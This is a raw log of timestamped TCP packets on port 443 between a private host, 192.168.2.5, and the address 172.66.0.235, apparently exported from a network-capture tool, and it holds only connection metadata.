Nov 23, 2024 13:38:02.411127090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.411197901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.429903984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.588418007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.588471889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.588553905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.588610888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.588650942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.588783026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.589355946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.589433908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.589457989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.589517117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.589544058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.591787100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.591828108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.591855049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.591867924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.591897011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.592690945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.592755079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.592772007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.594156027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.594223022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.594234943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.595993042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.596035004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.596066952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.596079111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.596107960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.597614050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.597660065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.597680092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.597692966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.597723007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.597740889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.600110054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.600152016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.600193024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.600209951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.600235939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.600258112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.600860119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.602201939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.602247000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.602272987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.602284908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.602319956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.602340937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.604655027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.604698896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.604728937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.604746103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.604805946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.604805946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.650806904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.663259029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.987552881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.987616062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.987705946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.987785101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.987823963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.987826109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.987886906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.987905025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.987920046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.987977982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.987977982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988035917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988076925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988105059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988117933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988145113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988162994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988215923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988264084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988295078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988306046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988332033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988348961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988400936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988441944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988471031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988481045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988508940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988531113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988585949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988637924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988653898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988663912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988694906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988717079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988785982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988835096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988878965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988889933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.988917112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988935947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.988984108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989027023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989049911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989059925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989114046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989114046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989166975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989214897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989240885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989252090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989280939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989300966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989326954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989375114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989398956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989409924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989437103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989454985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989554882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989620924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989655018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989687920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989716053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989716053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989777088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989790916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989841938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989885092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989927053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989957094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.989968061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.989993095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990010023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990072012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990129948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990144968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990163088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990187883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990192890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990233898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990247965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990269899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990303040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990669012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990709066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990736961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990748882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990775108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990844965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990896940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990917921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.990928888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.990957975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.993207932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.164572954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.164638996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.164845943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.164845943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.164918900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.165205002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.166732073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.166785955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.166815042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.166829109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.166858912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.166879892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.168435097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.168500900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.168515921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.168526888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.168580055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.168580055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.168719053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.170806885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.170855045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.170881987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.170893908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.170936108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.170936108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.172302008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.173278093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.173321962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.173353910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.173365116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.173394918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.173414946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.175044060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.175092936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.175158978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.175170898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.175199986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.175216913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.177895069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.177944899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.177968025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.177978992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.178009987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.178029060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.179703951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.179750919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.179773092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.179784060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.179811954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.179830074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.356858015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.356910944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.356947899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.357023001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.357074022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.357139111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.359262943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.359307051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.359359026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.359373093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.359401941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.360757113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.361092091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.361138105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.361166954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.361179113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.361206055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.361222982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.363446951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.363488913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.363519907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.363532066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.363589048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.363589048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.365916014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.365963936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.365997076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.366008997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.366034031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.366054058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.367752075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.367794037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.367831945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.367842913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.367872953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.367889881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.371078014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.371119022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.371148109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.371160030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.371207952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.371207952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.372317076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.372363091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.372399092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.372410059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.372437000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.372454882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.397257090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.407670021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.549011946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.549067020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.549124002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.549160957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.549246073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.549267054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.550688982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.550750971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.550760984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.550776005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.550808907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.550827980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.553212881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.553256989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.553292036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.553303957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.553333044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.553349972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.555536985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.555583000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.555607080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.555619001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.555656910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.555656910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.557353973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.557401896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.557420969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.557432890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.557467937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.557483912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.559757948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.559808016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.559844971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.559887886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.559920073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.559941053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.561958075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.562004089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.562020063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.562032938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.562062025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.562079906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.564285994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.564348936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.564357042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.564378977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.564408064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.564424038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.581140041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.741060972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.741132021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.741200924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.741249084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.741286039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.741306067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.742971897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.743022919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.743045092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.743058920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.743093967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.743114948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755162001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755214930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755271912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755300045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755410910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755413055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755414009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755443096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755480051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755496025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755503893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755520105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755563021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755584955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755871058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755911112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755954027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.755971909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.755996943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.756021023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.756103992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.756146908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.756191969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.756206989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:03.756231070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.756253958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:03.756288052 CET	443	49704	172.66.0.235	192.168.2.5
